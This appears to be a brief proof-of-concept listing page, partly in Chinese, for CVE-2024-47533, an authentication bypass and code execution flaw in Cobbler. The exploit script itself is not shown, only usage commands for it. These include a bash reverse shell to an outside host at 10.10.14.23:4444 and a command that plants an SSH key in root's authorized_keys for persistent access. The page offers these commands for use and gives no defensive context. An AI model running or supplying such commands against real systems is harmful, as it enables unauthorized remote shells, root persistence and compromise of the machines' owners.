CVE-2024-47533 PoC — Cobbler 授权问题漏洞

Description

 CVE-2024-47533: Cobbler Authentication Bypass & Code Execution

介绍

```bash
# Reverse shell
python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"'

# Simple command
python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id'

# Drop SSH key
python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo ssh-ed25519 AAAA... >> /root/.ssh/authorized_keys'
```

文件快照

备注